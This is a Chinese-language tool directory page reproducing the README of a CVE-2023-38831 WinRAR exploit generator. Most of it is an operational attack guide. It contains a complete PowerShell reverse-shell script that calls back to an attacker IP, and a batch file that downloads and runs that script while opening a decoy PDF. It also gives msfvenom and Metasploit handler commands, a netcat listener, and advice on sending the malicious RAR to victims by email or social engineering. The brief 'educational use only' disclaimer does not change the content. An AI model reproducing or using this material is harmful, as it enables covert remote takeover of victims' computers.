Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-38831-Exploit — 该项目包含一个利用 **CVE-2023-38831** 的 Python 脚本,该漏洞存在于 **WinRAR** 6.23 之前的所有版本中。该漏洞利用程序会生成一个**恶意 RAR 压缩包**,当受害者打开压缩包内看似无害的文件(如 PDF)时,将触发任意代码执行。 | Kitploit
工具/GitHubGitHub/technicalcorp0/cve-2023-38831-exploit
Payload生成漏洞利用Web应用程序漏洞利用渗透测试社会工程学学习与教育红队
GitHubtechnicalcorp0/cve-2023-38831-exploit

CVE-2023-38831-Exploit

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

该项目包含一个利用 **CVE-2023-38831** 的 Python 脚本,该漏洞存在于 **WinRAR** 6.23 之前的所有版本中。该漏洞利用程序会生成一个**恶意 RAR 压缩包**,当受害者打开压缩包内看似无害的文件(如 PDF)时,将触发任意代码执行。

查看仓库
1152年前尚未审核

CVE-2023-38831 WinRAR 漏洞利用生成器

作者:technical_corp

此项目包含一个 Python 脚本,该脚本利用了 CVE-2023-38831,这是 WinRAR 6.23 之前版本中的一个漏洞。该漏洞利用程序会生成一个恶意 RAR 压缩包,当受害者打开压缩包中的看似无害的文件(例如 PDF)时,会触发任意代码的执行。该漏洞在 2023 年 4 月至 8 月期间被野外积极利用。

漏洞概述

CVE-2023-38831 是 WinRAR 中的一个漏洞,当受害者打开一个同时包含良性文件和同名恶意文件夹的压缩包时,攻击者可以执行任意代码。当用户与良性文件交互时,WinRAR 会错误地处理恶意文件夹中的内容并执行攻击者的载荷。

漏洞利用特点

  • 生成一个恶意 RAR 压缩包,其中包含诱饵文件(例如 PDF)和载荷(例如 .bat 或 .exe 文件)。
  • 诱饵文件可以是用户指定的任何文件(例如 PDF 或文档)。
  • 载荷可以是任何可执行文件或脚本(例如使用 msfvenom 创建的反向 Shell)。
  • 当受害者打开诱饵文件时,载荷会在后台静默执行。

前提条件

  • Python 3.x
  • 受害者机器上安装了 WinRAR 6.23 之前的版本(这是易受攻击的版本)。
  • 从此处下载 WinRAR 6.22
  • Metasploit Framework(可选,用于生成载荷)。

使用方法

克隆此仓库:

git clone https://github.com/technical_corp/CVE-2023-38831-Exploit.git
cd CVE-2023-38831-Exploit

我们将使用嵌入在 .rar 压缩包中的一个批处理文件来下载并执行托管的 PowerShell 反向 Shell。

步骤:

创建 PowerShell 反向 Shell 脚本:

在 Kali Linux 机器上,将以下 PowerShell 脚本保存为 reverse.ps1:

$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<attacker_port>);
$stream = $client.GetStream();
[byte[]]$buffer = 0..65535|%{0};
while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()};
$client.Close()

将 <attacker_ip> 替换为你的 Kali Linux 机器的 IP。

将 <attacker_port> 替换为你将监听的端口号。

在你的 Kali Linux 机器上托管 PowerShell 脚本:

导航到保存 PowerShell 脚本的文件夹:

cd /path/to/powershell-script

使用 Python 的 HTTP 服务器在 80 端口托管该文件:

python3 -m http.server 80

这将使 reverse.ps1 在 http://<attacker_ip>/reverse.ps1 上可用。

创建批处理文件以下载并运行 PowerShell 脚本:

创建一个批处理文件(script.bat),用于下载并执行 PowerShell 反向 Shell:

@echo off
:: Open the legitimate PDF
start bait.pdf

:: Download and execute the PowerShell script
powershell -Command "Invoke-WebRequest -Uri 'http://<attacker_ip>/reverse.ps1' -OutFile 'C:\Users\Public\reverse.ps1'; Start-Process powershell -ArgumentList '-ExecutionPolicy Bypass -File C:\Users\Public\reverse.ps1' -NoNewWindow"
exit

使用 CVE-2023-38831 漏洞利用脚本嵌入批处理文件:

运行 WinRAR 漏洞利用脚本,将批处理文件嵌入合法的 PDF 中:

python3 CVE-2023-38831-WinRar-Exploit.py -b legitimate.pdf -p script.bat -o POC.rar

此命令创建 POC.rar 文件,其中包含将执行反向 Shell 的 script.bat。

在 Kali Linux 上设置 Netcat 监听器:

启动 Netcat 监听器以捕获反向 Shell:

nc -lvnp <attacker_port>

将漏洞利用文件(POC.rar)发送给受害者:

一旦受害者打开 POC.rar 并执行 PDF 文件,script.bat 将被触发。 该脚本将从你的服务器下载并执行 PowerShell 反向 Shell。 你将能够在 Netcat 监听器上收到反向 Shell 连接。

使用可执行文件而不立即执行:

生成载荷(如果使用 Metasploit):你可以使用 msfvenom 创建反向 Shell 载荷:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_IP> LPORT=<attacker_port> -f exe > payload.exe

将生成的 payload.exe 文件移动到 CVE-2023-WinRAR-Exploit 目录中

运行漏洞利用生成器:运行 Python 脚本以生成恶意 RAR 文件:

python cve-2023-38831-exploiter.py -b nmapcheatsheet.pdf -p payload.exe -o POC.rar

-b:指定诱饵文件(例如 nmapcheatsheet.pdf)。 -p:指定载荷文件(例如 script.bat 或 payload.exe)。 -o:指定输出文件名(例如 POC.rar)。

将 RAR 文件发送给受害者:生成的 malicious_archive.rar 可以通过社会工程学、电子邮件附件或文件共享平台发送给受害者。

设置监听器(如果使用 Metasploit):在攻击者机器上设置监听器以捕获反向 Shell:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <attacker_IP>
set LPORT <attacker_port>
exploit

漏洞利用流程

攻击者向受害者发送恶意 RAR 文件。 受害者打开诱饵文件(例如 nmapcheatsheet.pdf),该文件会静默触发载荷。 载荷(例如反向 Shell)在后台执行,使攻击者能够控制受害者的系统。

免责声明

此项目仅供教育目的使用。作者不对该漏洞利用程序的任何滥用负责。它只能在获得完全授权的环境或渗透测试场景中使用。

下载工具